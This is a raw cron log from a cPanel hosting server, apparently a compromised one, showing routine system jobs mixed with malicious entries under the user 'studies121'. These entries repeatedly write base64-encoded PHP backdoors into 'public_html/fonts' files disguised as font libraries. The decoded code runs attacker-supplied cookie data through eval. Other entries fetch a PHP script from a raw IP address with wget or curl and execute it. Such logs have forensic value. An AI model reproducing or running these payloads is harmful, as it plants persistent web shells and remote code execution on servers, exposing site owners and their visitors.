Sep  1 16:16:01 ip-184-168-122-23 CROND[20519]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 16:16:01 ip-184-168-122-23 CROND[20520]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 16:16:01 ip-184-168-122-23 CROND[20522]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 16:16:01 ip-184-168-122-23 CROND[20527]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  1 16:16:01 ip-184-168-122-23 CROND[20525]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 16:16:01 ip-184-168-122-23 CROND[20528]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 16:17:01 ip-184-168-122-23 CROND[20610]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 16:17:01 ip-184-168-122-23 CROND[20612]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 16:17:01 ip-184-168-122-23 CROND[20613]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 16:17:01 ip-184-168-122-23 CROND[20615]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 16:18:01 ip-184-168-122-23 CROND[20707]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 16:18:01 ip-184-168-122-23 CROND[20709]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 16:18:01 ip-184-168-122-23 CROND[20710]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 16:18:01 ip-184-168-122-23 CROND[20712]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 16:18:01 ip-184-168-122-23 CROND[20714]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 16:19:01 ip-184-168-122-23 CROND[20807]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 16:19:01 ip-184-168-122-23 CROND[20810]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 16:19:01 ip-184-168-122-23 CROND[20809]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 16:19:01 ip-184-168-122-23 CROND[20811]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 16:20:01 ip-184-168-122-23 CROND[21004]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  1 16:20:01 ip-184-168-122-23 CROND[21005]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  1 16:20:01 ip-184-168-122-23 CROND[21007]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 16:20:01 ip-184-168-122-23 CROND[21008]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 16:20:01 ip-184-168-122-23 CROND[21009]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 16:20:01 ip-184-168-122-23 CROND[21013]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 16:20:01 ip-184-168-122-23 CROND[21014]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 16:20:01 ip-184-168-122-23 CROND[21019]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 16:20:01 ip-184-168-122-23 CROND[21012]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 16:21:01 ip-184-168-122-23 CROND[21131]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 16:21:01 ip-184-168-122-23 CROND[21134]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 16:21:01 ip-184-168-122-23 CROND[21135]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 16:21:01 ip-184-168-122-23 CROND[21136]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 16:22:01 ip-184-168-122-23 CROND[21238]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 16:22:01 ip-184-168-122-23 CROND[21243]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 16:22:01 ip-184-168-122-23 CROND[21240]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 16:22:01 ip-184-168-122-23 CROND[21241]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 16:22:01 ip-184-168-122-23 CROND[21242]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 16:23:01 ip-184-168-122-23 CROND[21345]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 16:23:01 ip-184-168-122-23 CROND[21346]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 16:23:01 ip-184-168-122-23 CROND[21349]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 16:23:01 ip-184-168-122-23 CROND[21350]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 16:24:01 ip-184-168-122-23 CROND[21455]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 16:24:01 ip-184-168-122-23 CROND[21458]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 16:24:01 ip-184-168-122-23 CROND[21457]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 16:24:01 ip-184-168-122-23 CROND[21459]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 16:24:01 ip-184-168-122-23 CROND[21460]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 16:25:01 ip-184-168-122-23 CROND[21551]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 16:25:01 ip-184-168-122-23 CROND[21555]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 16:25:01 ip-184-168-122-23 CROND[21553]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 16:25:01 ip-184-168-122-23 CROND[21556]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 16:25:01 ip-184-168-122-23 CROND[21554]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 16:25:01 ip-184-168-122-23 CROND[21552]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
Sep  1 16:25:01 ip-184-168-122-23 CROND[21557]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 16:26:01 ip-184-168-122-23 CROND[21654]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 16:26:01 ip-184-168-122-23 CROND[21657]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 16:26:01 ip-184-168-122-23 CROND[21655]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 16:26:01 ip-184-168-122-23 CROND[21656]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 16:26:01 ip-184-168-122-23 CROND[21658]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 16:27:01 ip-184-168-122-23 CROND[21876]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 16:27:01 ip-184-168-122-23 CROND[21878]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 16:27:01 ip-184-168-122-23 CROND[21877]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 16:27:01 ip-184-168-122-23 CROND[21880]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 16:28:01 ip-184-168-122-23 CROND[21970]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
